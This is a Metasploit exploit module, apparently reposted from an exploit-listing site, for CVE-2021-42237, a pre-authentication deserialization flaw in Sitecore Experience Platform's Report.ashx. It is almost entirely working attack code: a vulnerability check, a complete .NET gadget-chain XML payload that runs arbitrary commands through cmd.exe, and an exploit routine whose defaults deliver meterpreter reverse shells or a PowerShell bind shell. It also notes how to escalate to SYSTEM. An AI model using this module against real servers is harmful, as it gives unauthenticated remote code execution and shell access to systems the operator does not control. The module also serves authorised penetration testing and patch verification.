Share
## https://sploitus.com/exploit?id=PACKETSTORM:164988
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
include Msf::Exploit::Powershell  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Sitecore Experience Platform (XP) PreAuth Deserialization RCE',  
'Description' => %q{  
This module exploits a deserialization vulnerability in the Report.ashx page  
of Sitecore XP 7.5 to 7.5.2, 8.0 to 8.0.7, 8.1 to 8.1.3, and 8.2 to 8.2.7.  
Versions 7.2.6 and earlier and 9.0 and later are not affected.  
  
The vulnerability occurs due to Report.ashx's handler, located in Sitecore.Xdb.Client.dll  
under the Sitecore.sitecore.shell.ClientBin.Reporting.Report defintion, having a ProcessRequest()  
handler that calls ProcessReport() with the context of the attacker's request without properly  
checking if the attacker is authenticated or not.  
  
This request then causes ReportDataSerializer.DeserializeQuery() to be called, which will  
end up calling the DeserializeParameters() function of  
Sitecore.Analytics.Reporting.ReportDataSerializer, if a "parameters" XML tag is found in  
the attacker's request.  
  
Then for each subelement named "parameter", the code will check that it has a name and  
if it does, it will call NetDataContractSerializer().ReadObject on it. NetDataContractSerializer is  
vulnerable to deserialization attacks and can be trivially exploited by using the  
TypeConfuseDelegate gadget chain.  
  
By exploiting this vulnerability, an attacker can gain arbitrary code execution as the user  
that IIS is running as, aka NT AUTHORITY\NETWORK SERVICE. Users can then use technique 4  
of the "getsystem" command to use RPCSS impersonation and get SYSTEM level code execution.  
},  
'Author' => [  
'AssetNote', # Discovery and exploit  
'gwillcox-r7' # Module  
],  
'References' => [  
['CVE', '2021-42237'],  
['URL', 'https://blog.assetnote.io/2021/11/02/sitecore-rce/'],  
['URL', 'https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1000776'],  
],  
'DisclosureDate' => '2021-11-02',  
'License' => MSF_LICENSE,  
'Platform' => 'win',  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Privileged' => false, # Gains NT AUTHORITY\NETWORK SERVICE privileges. Possible to elevate to SYSTEM but this isn't done automatically.  
'Targets' => [  
[  
'Windows Command',  
{  
'Arch' => ARCH_CMD,  
'Type' => :win_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/windows/powershell_bind_tcp'  
}  
}  
],  
[  
'Windows Dropper',  
{  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :win_dropper,  
'DefaultOptions' => {  
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'  
}  
}  
],  
[  
'PowerShell Stager',  
{  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :psh_stager,  
'DefaultOptions' => {  
'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'  
}  
}  
]  
],  
'DefaultTarget' => 1,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]  
}  
)  
)  
  
register_options([  
OptString.new('TARGETURI', [true, 'Base path of Sitecore', '/'])  
])  
end  
  
def check  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, 'sitecore', 'shell', 'ClientBin', 'Reporting', 'Report.ashx')  
)  
  
unless res  
return CheckCode::Unknown('Target did not respond to check.')  
end  
  
unless res.code == 200 && res.body.include?('Sitecore.Analytics.Reporting.ReportDataSerializer.DeserializeQuery')  
return CheckCode::Safe('Target is not running Sitecore XP or has patched the vulnerability.')  
end  
  
return CheckCode::Appears('Response.ashx is accessible and appears to be deserializing data!')  
end  
  
def xml_payload(cmd)  
%|<parameters>  
<parameter name="">  
<ArrayOfstring z:Id="1" z:Type="System.Collections.Generic.SortedSet`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"  
xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays"  
xmlns:i="http://www.w3.org/2001/XMLSchema-instance"  
xmlns:x="http://www.w3.org/2001/XMLSchema"  
xmlns:z="http://schemas.microsoft.com/2003/10/Serialization/">  
<Count z:Id="2" z:Type="System.Int32" z:Assembly="0"  
xmlns="">2</Count>  
<Comparer z:Id="3" z:Type="System.Collections.Generic.ComparisonComparer`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]" z:Assembly="0"  
xmlns="">  
<_comparison z:Id="4" z:FactoryType="a:DelegateSerializationHolder" z:Type="System.DelegateSerializationHolder" z:Assembly="0"  
xmlns="http://schemas.datacontract.org/2004/07/System.Collections.Generic"  
xmlns:a="http://schemas.datacontract.org/2004/07/System">  
<Delegate z:Id="5" z:Type="System.DelegateSerializationHolder+DelegateEntry" z:Assembly="0"  
xmlns="">  
<a:assembly z:Id="6">mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:assembly>  
<a:delegateEntry z:Id="7">  
<a:assembly z:Ref="6" i:nil="true"/>  
<a:delegateEntry i:nil="true"/>  
<a:methodName z:Id="8">Compare</a:methodName>  
<a:target i:nil="true"/>  
<a:targetTypeAssembly z:Ref="6" i:nil="true"/>  
<a:targetTypeName z:Id="9">System.String</a:targetTypeName>  
<a:type z:Id="10">System.Comparison`1[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type>  
</a:delegateEntry>  
<a:methodName z:Id="11">Start</a:methodName>  
<a:target i:nil="true"/>  
<a:targetTypeAssembly z:Id="12">System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</a:targetTypeAssembly>  
<a:targetTypeName z:Id="13">System.Diagnostics.Process</a:targetTypeName>  
<a:type z:Id="14">System.Func`3[[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.String, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089],[System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089]]</a:type>  
</Delegate>  
<method0 z:Id="15" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0"  
xmlns=""  
xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection">  
<Name z:Ref="11" i:nil="true"/>  
<AssemblyName z:Ref="12" i:nil="true"/>  
<ClassName z:Ref="13" i:nil="true"/>  
<Signature z:Id="16" z:Type="System.String" z:Assembly="0">System.Diagnostics.Process Start(System.String, System.String)</Signature>  
<Signature2 z:Id="17" z:Type="System.String" z:Assembly="0">System.Diagnostics.Process Start(System.String, System.String)</Signature2>  
<MemberType z:Id="18" z:Type="System.Int32" z:Assembly="0">8</MemberType>  
<GenericArguments i:nil="true"/>  
</method0>  
<method1 z:Id="19" z:FactoryType="b:MemberInfoSerializationHolder" z:Type="System.Reflection.MemberInfoSerializationHolder" z:Assembly="0"  
xmlns=""  
xmlns:b="http://schemas.datacontract.org/2004/07/System.Reflection">  
<Name z:Ref="8" i:nil="true"/>  
<AssemblyName z:Ref="6" i:nil="true"/>  
<ClassName z:Ref="9" i:nil="true"/>  
<Signature z:Id="20" z:Type="System.String" z:Assembly="0">Int32 Compare(System.String, System.String)</Signature>  
<Signature2 z:Id="21" z:Type="System.String" z:Assembly="0">System.Int32 Compare(System.String, System.String)</Signature2>  
<MemberType z:Id="22" z:Type="System.Int32" z:Assembly="0">8</MemberType>  
<GenericArguments i:nil="true"/>  
</method1>  
</_comparison>  
</Comparer>  
<Items z:Id="24" z:Type="System.String[]" z:Assembly="0" z:Size="2"  
xmlns="">  
<string z:Id="25"  
xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays">/c #{cmd.encode(xml: :text)}</string>  
<string z:Id="26"  
xmlns="http://schemas.microsoft.com/2003/10/Serialization/Arrays">cmd.exe</string>  
</Items>  
</ArrayOfstring>  
</parameter>  
</parameters>|  
end  
  
def exploit  
case target['Type']  
when :win_cmd  
print_status('Executing command payload')  
execute_command(payload.encoded)  
when :win_dropper  
execute_cmdstager  
when :psh_stager  
execute_command(cmd_psh_payload(  
payload.encoded,  
payload.arch.first,  
remove_comspec: true  
))  
end  
end  
  
def execute_command(cmd, _opts = {})  
send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'sitecore', 'shell', 'ClientBin', 'Reporting', 'Report.ashx'),  
'ctype' => 'text/xml',  
'data' => xml_payload(cmd)  
)  
end  
end